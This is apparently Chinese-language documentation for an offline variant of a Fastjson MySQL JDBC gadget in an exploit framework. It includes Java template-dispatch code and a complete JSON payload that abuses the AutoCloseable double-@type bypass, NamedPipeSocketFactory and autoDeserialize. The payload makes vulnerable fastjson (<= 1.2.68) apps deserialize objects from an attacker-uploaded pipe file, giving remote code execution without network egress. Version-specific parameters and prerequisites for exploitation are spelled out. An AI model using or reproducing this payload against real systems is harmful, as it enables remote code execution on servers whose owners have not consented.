- 类别:fastjson 别名:— 优先级:—
- 作者:—
- 依赖:
mysql(mysql-connector-java 驱动)、fastjson <= 1.2.68、需配合FakeMySQLBuildPipeFile模块进行 MySQL 不出网利用(Mysql8 只能打 8.0.19)
FastjsonMySQLJdbc 的不出网(本地命名管道)变体。把恶意 MySQL 连接的 socketFactory 换成 NamedPipeSocketFactory,令客户端不通过 TCP、而是通过一个本地命名管道文件(.bin)读取「MySQL 服务端响应」。该 .bin 文件由 FakeMySQLBuildPipeFile 模块预先生成并上传到目标机,从而在完全隔离网络的环境下仍能触发 autoDeserialize 反序列化 RCE。
- 入口
tags:FastjsonPayload、ENDFastjsonPayload:产出交由 Fastjson Payload 解析的 JSON 字符串。END:链尾,无下游;反序列化 payload 由管道文件提供,不内嵌。
- 衔接
nextTags:无。 excludes:无。
与 MySQLJdbc 同构,三套模板按 mysqlVersion 分派,getObject 填入 user 与 PipePath:
public Object getObject(byte[] bytes) throws Exception {
String templateToUse = "";
templateToUse = "5.1.x".equals(this.mysqlVersion) ? template5
: ("6.0.2/6.0.3".equals(this.mysqlVersion) ? template6 : template8);
return String.format(templateToUse, this.user, this.PipePath);
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
return this.getObject((byte[]) chain.doCreate(context));
}invoke 取到的内层 byte[] 同样未被 getObject 使用(本 gadget 是 END)。
5.1.x 模板与出网版的关键差异在 info 块:
{
"x1": {
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.jdbc.JDBC4Connection",
"hostToConnectTo": "127.0.0.1",
"portToConnectTo": 3306,
"info": {
"useSSL": "false",
"user": "%s",
"HOST": "xxx",
"statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true",
"NUM_HOSTS": "1",
"socketFactory": "com.mysql.jdbc.NamedPipeSocketFactory",
"namedPipePath": "%s",
"DBNAME": "test"
},
"databaseToConnectTo": "test",
"url": ""
}
}hostToConnectTo固定127.0.0.1——因为不走网络,实际读写目标是本地命名管道,而非远程主机。socketFactory: com.mysql.jdbc.NamedPipeSocketFactory+namedPipePath: %s:mysql-connector 用命名管道(Windows\\.\pipe\...或落地的管道/文件)替代 TCP socket,namedPipePath指向攻击者上传的PipeFile.bin。驱动把该文件内容当作 MySQL 服务端应答解析,autoDeserialize=true+ServerStatusDiffInterceptor令其中的序列化对象被readObject。template6(6.0.2/6.0.3)改写jdbc:mysql://...URL,socketFactory=com.mysql.cj.core.io.NamedPipeSocketFactory&namedPipePath=%s;template8(8.0.x<=8.0.19)用ReplicationConnectionUrl的properties,键为socketFactory=com.mysql.cj.protocol.NamedPipeSocketFactory+path=%s。三者原理一致,仅包名/参数名随版本变化。
| 字段 | 名称 | 说明 | 默认 | 可选值 |
|---|---|---|---|---|
user |
mysql 用户名 | 连接用户名 | mysql |
— |
PipePath |
mysqlPipe 文件地址 | FakeMySQLBuildPipeFile 生成并上传到目标的管道 .bin 文件路径 |
PipeFile.bin |
— |
mysqlVersion |
mysql 版本 | 目标 mysql-connector 驱动版本,套用对应模板 | 5.1.x |
5.1.x(5.1.1~5.1.48)/ 6.0.2/6.0.3 / 8.0.x(jdbc <= 8.0.19) |
- Fastjson
<= 1.2.68(java.lang.AutoCloseable双@type绕过)。 - 需 mysql-connector-java 驱动,版本匹配
mysqlVersion;Mysql8 仅<= 8.0.19。 - 不出网利用:需先用
FakeMySQLBuildPipeFile模块生成.bin管道文件并上传到目标(Dbname固定为test,改动会导致连不上;且生成的流文件每次都会变,修改后须重新生成)。管道文件到位后,本 JSON 触发驱动读取管道即完成反序列化,全程无需目标出网。
自由构件,未直接出现在 51 条预设链中(usedInChains 为空)。
- 出网对照版:FastjsonMySQLJdbc
- 配套模块:
FakeMySQLBuildPipeFile(生成管道.bin文件)。 - 上游入口:
Fastjson/Fastjson2系 Payload(FastjsonPayload标签)。